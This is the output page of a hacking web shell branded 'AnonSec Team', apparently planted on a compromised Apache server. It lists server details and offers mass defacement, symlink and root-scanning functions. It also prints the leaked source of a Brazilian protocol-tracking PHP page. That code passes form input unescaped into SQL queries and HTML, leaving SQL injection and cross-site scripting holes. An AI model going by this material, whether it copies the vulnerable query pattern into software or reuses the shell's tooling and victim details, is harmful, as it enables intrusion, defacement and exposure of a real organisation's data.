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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/protocolo/cmeusebio/pages/protocolo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/protocolo/cmeusebio/pages/protocolo/protocolo_g.php
<?php
    /**
     * Copyright (c) 2017.
     * O sistema está protegido por copyright.
     * Todo o copyright ou outros direitos de propriedade intelectual presentes no sistema, imagens, som, software e outros conteúdos do site são propriedade de Ralp Alves
     * Bezerra.
     * É permitida a pesquisa no sistema e a reprodução de excertos através de impressão ou distribuição para outras pessoas, mas em todos os casos para fins não comerciais.
     * Apenas é permitido o uso dos conteúdos do sistema para utilização pessoal. Nenhuma parte do sistema poderá ser reproduzida para ser vendida ou distribuída para ganhos
     * comerciais nem poderá ser modificada ou incorporada em qualquer outro trabalho, publicação ou site tanto no formato electrónico, como transferência para qualquer outro
     * site. Nenhuma outra licença ou direitos relacionados com o site são concedidos, sem autorização expressa do autor.
     */
    /**
     * Created by PhpStorm.
     * User: ralpb
     * Date: 29/08/2017
     * Time: 09:36
     */
    ini_set('display_errors', 'off');
    $var = $_POST['var'];
    
    //    if ($_usu_centralizador=1) {
    //    $protocolo = $conn->query("select * from v_lista_protocolo ORDER BY cod_protocolo DESC");
    $protocolo = $conn->query("select * from v_lista_protocolo where cod_usuario=$_cod_usuario ORDER BY cod_protocolo DESC");
    //    } else {
    //        $protocolo = $conn->query("select * from v_lista_protocolo_encaminhado WHERE cod_usuario_destino=$_cod_usuario and lido='S' ORDER BY cod_protocolo DESC");
    //    }
    
    $enca = $conn->query("select * from v_lista_protocolo_encaminhado WHERE cod_usuario_destino=$_cod_usuario and lido='S' ORDER BY cod_protocolo DESC");
    $qe   = $enca->rowCount();
    
    if ($var=='busca_p') {
        $busca = $_POST['busca'];
        if ($_usu_centralizador==1) {
            $protocolo = $conn->query("select * from v_lista_protocolo WHERE cod_protocolo=$busca");
            $achou     = $protocolo->rowCount();
            if ($achou==0) {
                $a->AlertaErro('Protocolo de número ' . $busca . ' não localizado!');
            }
            echo "<div class='text-center panel-body'>";
            echo "<a href='?page=protocolo/protocolo_g&var=' class='text-navy text-lbl-campo'>Limpar busca protocolo <b>$busca</b></a>";
            echo "</div>";
        } else {
            $protocolo = $conn->query("select * from v_lista_protocolo_encaminhado WHERE cod_usuario_destino=$_cod_usuario and cod_protocolo=$busca ORDER BY cod_protocolo DESC");
            $achou     = $protocolo->rowCount();
            if ($achou==0) {
                $a->AlertaErro('Protocolo de número ' . $busca . ' não localizado!');
            }
            echo "<div class='text-center panel-body'>";
            echo "<a href='?page=protocolo/protocolo_g&var=' class='text-navy text-lbl-campo'>Limpar busca protocolo <b>$busca</b></a>";
            echo "</div>";
        }
    }
?>

<html>
<head>
</head>
<body onsubmit="javascript:showCarga();">
<section class="content-header">
    <h1>
        <a href="index.php" title="voltar"><i class="fa fa-reply"><span>&nbsp;</span></i></a>
        <span class="text-bold text-blue">Protocolos</span>
        <small class="text-orange text-bold"><strong>(LISTAGEM)</strong></small>
        <a href='#' class="text-center" onclick="startIntro();" title="mostrar dicas"><i class="fa fa-question text-gray"></i></a>
        <a href="?page=protocolo/protocolo_n" id="BotaoNovo" title="Novo registro" class="pull-right"><i class="fa fa-plus-square text-green"></i></a>
    </h1>
    <ol class="breadcrumb">
    </ol>
</section>
<!-- TABELA CRIADOS-->
<section class="content">
    <div class="card">
        <div class="box-header with-border">
            <h3 class="box-title text-bold text-blue" id="botaoExpot">Criados</h3>
        </div>
        <div class="card-content table-responsive" id="tabProt">
            <table id="dtabela" class="table table-bordered table-responsive table-hover">
                <thead style="font-size: 12px;">
                <tr>
                    <th>Protocolo</th>
                    <th title="entidade de origem">Entidade</th>
                    <th title="departamento de origem">Departamento</th>
                    <th title="tipo documento de origem">T.D.</th>
                    <th title="tipo protocolo de origem">T.P.</th>
                    <th title="responsável pelo cadastro">Resp.</th>
                    <th title="data e hora do cadastro">Data</th>
                    <!--                    <th title="data e hora do cadastro">N° Doc.</th>-->
                    <th width="2%" title="Status do protocolo">Status</th>
                    <th width="2%" id="BotaoEditar"></th>
                </tr>
                </thead>
                <tbody style="font-size: 12px;">
                <?php
                    while ($p = $protocolo->fetch(PDO::FETCH_OBJ)) {
                        echo "<tr>";
                        echo "<td>" . $p->cod_protocolo . "</td>";
                        echo "<td>" . $p->entidade_origem . "</td>";
                        echo "<td>" . $p->departamento_origem . "</td>";
                        echo "<td>" . $p->tipo_doc_origem . "</td>";
                        echo "<td>" . $p->tipo_pro_origem . "</td>";
                        echo "<td>" . $p->login . "</td>";
                        echo "<td>" . date('d/m/Y H:i:s', strtotime($p->data_cadastro)) . "</td>";
//                        echo "<td>" . $p->numero_documento . "</td>";
                        echo "<td style='background-color: $p->cor'><b>" . $p->descricao . "</b></td>";
                        $id = $p->cod_protocolo;
                        echo "<td><a href='?page=protocolo/protocolo_e&id=$id' class='botao_editar'><i aling='center' class='fa fa-pencil' title='Editar registro'></i></a></td>";
                        echo "</tr>";
                    }
                ?>
                </tbody>
            </table>
        </div>
    </div>
    <!-- TABELA ENCAMINHADOS-->
    <?php if ($qe > 0) { ?>
    <div class="card">
        <div class="box-header with-border">
            <h3 class="box-title text-bold text-blue" id="botaoExpot">Encaminhados</h3>
        </div>
        <div class="card-content table-responsive" id="tabProt">
            <table id="" class="tabe1 table table-bordered table-responsive table-hover">
                <thead style="font-size: 12px;">
                <tr>
                    <th>Protocolo</th>
                    <th title="entidade de origem">Entidade</th>
                    <th title="departamento de origem">Departamento</th>
                    <th title="tipo documento de origem">T.D.</th>
                    <th title="tipo protocolo de origem">T.P.</th>
                    <th title="responsável pelo cadastro">Resp.</th>
                    <th title="data e hora do cadastro">Data</th>
                    <!--                    <th title="data e hora do cadastro">N° Doc.</th>-->
                    <th width="2%" title="Status do protocolo">Status</th>
                    <th width="2%" id="BotaoEditar"></th>
                </tr>
                </thead>
                <tbody style="font-size: 13px;">
                <?php
                    while ($f = $enca->fetch(PDO::FETCH_OBJ)) {
                        echo "<tr>";
                        echo "<td>" . $f->cod_protocolo . "</td>";
                        echo "<td>" . $f->entidade_origem . "</td>";
                        echo "<td>" . $f->departamento_origem . "</td>";
                        echo "<td>" . $f->tipo_doc_origem . "</td>";
                        echo "<td>" . $f->tipo_pro_origem . "</td>";
                        echo "<td>" . $f->login . "</td>";
                        echo "<td>" . date('d/m/Y H:i:s', strtotime($f->data_cadastro)) . "</td>";
//                        echo "<td>" . $p->numero_documento . "</td>";
                        echo "<td style='background-color: $f->cor'><b>" . $f->descricao . "</b></td>";
                        $id = $f->cod_protocolo;
                        echo "<td><a href='?page=protocolo/protocolo_e&id=$id' class='botao_editar'><i aling='center' class='fa fa-pencil' title='Editar registro'></i></a></td>";
                        echo "</tr>";
                    }
                ?>
                </tbody>
            </table>
        </div>
    </div>
</section>
<? } ?>
<script type="text/javascript">
    function startIntro() {
        var intro = introJs()
        intro.setOptions(
            {
                steps: [
                    {
                        element: '#BotaoNovo',
                        intro: "Clique para incluir um <b>novo</b> protocolo"
                    },
                    {
                        element: '#botaoExpot',
                        intro: "Clique para <b>exportar</b> as pesquisas em diversos formatos"
                    },
                ]
            });

        intro.start();
    }
</script>
</body>
</html>


Anon7 - 2022
AnonSec Team